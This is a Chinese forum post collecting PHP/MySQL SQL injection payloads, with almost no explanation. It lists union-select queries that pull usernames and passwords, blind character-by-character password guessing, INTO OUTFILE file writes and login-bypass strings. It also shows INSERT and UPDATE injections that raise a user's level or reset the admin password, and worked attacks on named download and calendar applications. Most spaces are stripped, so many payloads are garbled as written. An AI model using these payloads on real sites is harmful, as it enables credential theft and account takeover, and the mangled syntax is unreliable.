设为首页 收藏本站
查看: 437|回复: 0

[经验分享] php注入方法集锦

[复制链接]

尚未签到

发表于 2017-3-30 12:29:27 | 显示全部楼层 |阅读模式
'%23

'andpassWord='mypass

id=-1unionselect1,1,1

id=-1unionselectchar(97),char(97),char(97)

id=1unionselect1,1,1frommembers

id=1unionselect1,1,1fromadmin

id=1unionselect1,1,1fromuser

userid=1andpassword=mypass

userid=1andmid(password,3,1)=char(112)

userid=1andmid(password,4,1)=char(97)

andord(mid(password,3,1))>111(ord函数很好用,可以返回整形的)

'andLENGTH(password)='6(探测密码长度)

'andLEFT(password,1)='m

'andLEFT(password,2)='my

…………………………依次类推

'unionselect1,username,passwordfromuser/*

'unionselect1,username,passwordfromuser/*

='unionselect1,username,passwordfromuser/*(可以是1或者=后直接跟)

99999'unionselect1,username,passwordfromuser/*

'intooutfile'c:/file.txt(导出文件)

='or1=1intooutfile'c:/file.txt

1'unionselect1,username,passwordfromuserintooutfile'c:/user.txt

selectpasswordFROMadminswherelogin='John'INTODUMPFILE'/path/to/site/file.txt'

id='unionselect1,username,passwordfromuserintooutfile

id=-1unionselect1,database(),version()(灵活应用查询)

常用查询测试语句,

select*FROMtablewhere1=1

select*FROMtablewhere'uuu'='uuu'

select*FROMtablewhere1<>2

select*FROMtablewhere3>2

select*FROMtablewhere2<3

select*FROMtablewhere1

select*FROMtablewhere1+1

select*FROMtablewhere1--1

select*FROMtablewhereISNULL(NULL)

select*FROMtablewhereISNULL(COT(0))

select*FROMtablewhere1ISNOTNULL

select*FROMtablewhereNULLISNULL

select*FROMtablewhere2BETWEEN1AND3

select*FROMtablewhere'b'BETWEEN'a'AND'c'

select*FROMtablewhere2IN(0,1,2)

select*FROMtablewhereCASEWHEN1>0THEN1END

例如:夜猫下载系统1.0版本

id=1unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_user

unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1

id=10000unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1andgroupid=1

unionselect1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1(替换,寻找密码)

unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1andord(mid(password,1,1))=49(验证第一位密码)

unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1andord(mid(password,2,1))=50(第二位)

unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1andord(mid(password,3,1))=51

…………………………………………………………

例如2:灰色轨迹变换id进行测试(meteor)

union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate

union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate

构造语句:

selectallowsmilies,public,userid,eventdate,event,subjectFROMcalendar_eventswhereeventid=1union(select1,1,1,1,1,1,1fromuserwhereuserid=1)

selectallowsmilies,public,userid,eventdate,event,subjectFROMcalendar_eventswhereeventid=1union(select1,1,1,1,username,passwordfromuserwhereuserid=1)

union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate

union%20(select%201,0,12695,'1999-01-01','a',password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate

union %20(select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20where%20username ='sandflee')%20order%20by%20eventdate(查沙子的id)

(selectaFROMtable_namewherea=10ANDB=1ORDERBYaLIMIT10)

select*FROMarticlewherearticleid='$id'unionselect*FROM……(字段和数据库相同情况下,可直接提交)

select*FROMarticlewherearticleid='$id'unionselect1,1,1,1,1,1,1FROM……(不同的情况下)

特殊技巧:在表单,搜索引擎等地方写:

"___"

".__"

"%

%'ORDERBYarticleid/*

%'ORDERBYarticleid#

__'ORDERBYarticleid/*

__'ORDERBYarticleid#

$command="dirc:/";system($command);

select*FROMarticlewherearticleid='$id'

select*FROMarticlewherearticleid=$id

1'and1=2unionselect*fromuserwhereuserid=1/*句中变为

(select*FROMarticlewherearticleid='1'and1=2unionselect*fromuserwhereuserid=1/*')

1and1=2unionselect*fromuserwhereuserid=1

语句形式:建立一个库,插入:

createDATABASE`injection`

createTABLE`user`(

`userid`int(11)NOTNULLauto_increment,

`username`varchar(20)NOTNULLdefault'',

`password`varchar(20)NOTNULLdefault'',

PRIMARYKEY(`userid`)

);

insertINTO`user`VALUES(1,'swap','mypass');

插如一个注册用户:

insertINTO`user`(userid,username,password,homepage,userlevel)VALUES('','$username','$password','$homepage','1');

"insertINTOmembres(login,password,nom,email,userlevel)VALUES('$login','$pass','$nom','$email','1')";

insertINTOmembres(login,password,nom,email,userlevel)VALUES('','','','','3')#','1')

"insertINTOmembresSETlogin='$login',password='$pass',nom='$nom',email='$email'";

insertINTOmembresSETlogin='',password='',nom='',userlevel='3',email=''

"insertINTOmembresVALUES('$id','$login','$pass','$nom','$email','1')";

updateuserSETpassword='$password',homepage='$homepage'whereid='$id'

updateuserSETpassword='MD5(mypass)'whereusername='admin'#)',homepage='$homepage'whereid='$id'

"updatemembresSETpassword='$pass',nom='$nom',email='$email'whereid='$id'";

updatemembresSETpassword='[PASS]',nom='',userlevel='3',email=''whereid='[ID]'

"updatenewsSETVotes=Votes+1,score=score+$notewhereidnews='$id'";

长用函数:

DATABASE()

USER()

SYSTEM_USER()

SESSION_USER()

CURRENT_USER()

比如:

updatearticleSETtitle=$titlewherearticleid=1对应函数

updatearticleSETtitle=DATABASE()whereid=1

#把当前数据库名更新到title字段

updatearticleSETtitle=USER()whereid=1

#把当前mysql用户名更新到title字段

updatearticleSETtitle=SYSTEM_USER()whereid=1

#把当前MySQL用户名更新到title字段

updatearticleSETtitle=SESSION_USER()whereid=1

#把当前MySQL用户名更新到title字段

updatearticleSETtitle=CURRENT_USER()whereid=1

#把当前会话被验证匹配的用户名更新到title字段

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

$req="select*FROMmembreswherenamelike'%$search%'ORDERBYname";

select*FROMmembreswherenamelike'%%'ORDERBYuid#%'ORDERBYname

select*FROMmembreswherenamelike'%%'ORDERBYuid#%'ORDERBYname

selectuidFROMadminswherelogin=''OR'a'='a'ANDpassword=''OR'a'='a'(经典)

selectuidFROMadminswherelogin=''ORadmin_level=1#'ANDpassword=''

select*FROMtablewheremsglike'%hop'

selectuidFROMmembreswherelogin='Bob'ANDpasswordlike'a%'#'ANDpassword=''

select*FROMmembreswherenamelike'%%'ORDERBYuid#%'ORDERBYname

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-357652-1-1.html 上篇帖子: PHP递归创建目录函数 下篇帖子: php中session常用函数
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表